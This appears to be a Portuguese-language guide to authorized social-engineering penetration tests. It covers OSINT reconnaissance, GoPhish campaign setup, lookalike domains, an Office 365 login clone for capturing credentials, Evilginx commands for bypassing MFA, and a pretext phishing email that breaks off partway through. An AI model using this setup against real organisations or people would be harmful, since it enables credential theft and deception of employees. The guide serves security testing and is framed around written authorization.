Realizando Testes de Penetração de Engenharia Social

Visão Geral

Testes de penetração de engenharia social avaliam a superfície de ataque humana de uma organização através da simulação controlada de técnicas de engano do mundo real. De acordo com o Verizon DBIR 2024, o elemento humano está envolvido em aproximadamente 68% de todas as violações, com o phishing permanecendo o vetor de acesso inicial dominante. Esta habilidade abrange phishing, vishing (phishing por voz), smishing (phishing por SMS) e campanhas de pretexting físico usando ferramentas como GoPhish, o Social Engineer Toolkit (SET) e Evilginx.

Quando Usar

• Ao realizar avaliações de segurança que envolvam testes de penetração de engenharia social
• Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados
• Ao realizar testes de segurança ou atividades de auditoria agendadas
• Ao validar controles de segurança através de testes práticos

Pré-requisitos

• Autorização por escrito da alta gerência (CISO/CTO)
• Revisão legal confirmando a conformidade com as leis locais (CFAA, GDPR, etc.)
• Escopo definido: grupos de funcionários-alvo, tipos de ataque, exclusões
• Servidor GoPhish, domínio para infraestrutura de phishing, VPS
• Ferramentas OSINT: Maltego, theHarvester, ferramentas de raspagem do LinkedIn
• Coordenação com RH e Jurídico para notificação de funcionários pós-teste

Fase 1 — OSINT e Perfil do Alvo

Reconhecimento de Funcionários

# Email harvesting
theHarvester -d targetcorp.com -b all -l 500 -f harvester_results

# LinkedIn OSINT (manual + tools)
# Gather: names, roles, departments, email format
# Identify: new hires, IT admins, finance team, executives

# Email format discovery
# Check: first.last@, flast@, firstl@
# Verify with: hunter.io, phonebook.cz, email-checker.net

# Social media OSINT
# Twitter/X: employees posting about work tools/frustrations
# Facebook: corporate event photos, office layout
# GitHub: employee repos with corporate email addresses

# Domain intelligence
dig targetcorp.com MX +short
dig targetcorp.com TXT +short
# Check for SPF, DKIM, DMARC records
# Weak DMARC = easier email spoofing

# Check breach databases (authorized)
# HaveIBeenPwned API for corporate emails
# Identify employees with compromised credentials

Matriz de Seleção de Alvos

Fase 2 — Campanha de Phishing

Configuração da Infraestrutura

# Register lookalike domain
# targetcorp.com -> targetc0rp.com, targetcorp-secure.com, targetcorp.net

# Set up GoPhish server
sudo apt install gophish
# Edit config.json for admin and phishing server ports
gophish

# Configure sending profile in GoPhish
# SMTP server: mail.attackdomain.com
# From: it-security@targetcorp-secure.com
# Headers: proper DKIM/SPF for attack domain

# Create landing page (credential harvesting)
# Clone legitimate login page (Office 365, Okta, etc.)
# GoPhish: Import Site -> https://login.microsoftonline.com
# Enable: Capture Credentials, Capture Passwords
# Redirect to real site after capture

# Set up Evilginx for MFA bypass (authorized testing only)
evilginx2
: config domain attackdomain.com
: config ipv4 <server_ip>
: phishlets hostname o365 login.targetcorp-secure.com
: phishlets enable o365
: lures create o365
: lures get-url 0

Configuração da Campanha GoPhish

{
  "campaign": {
    "name": "IT Security Update - Q1 2025",
    "template": {
      "name": "Mandatory Security Training",
      "subject": "Action Required: Complete Security Awareness Training by Friday",
      "html": "<html>...[branded email with urgency]...</html>",
      "from": "IT Security Team <security@targetcorp-secure.com>"
    },
    "landing_page": "Office 365 Login Clone",
    "sending_profile": "Phishing SMTP",
    "groups": ["All Employees - Batch 1"],
    "launch_date": "2025-03-10T09:00:00Z",
    "send_by_date": "2025-03-10T12:00:00Z"
  }
}

Modelos de E-mail de Phishing por Pretexto

Modelo 1 — Atualização de Segurança de TI:

Assunto: [Ação Necessária] Redefinição de Senha Obrigatória - Incidente de Segurança
De: Segurança de TI <security@targetcorp-secure.com>

Prezado(a) {FirstName},

Nossa equipe de segurança detectou tentativas de acesso não autorizado em nossos sistemas.

…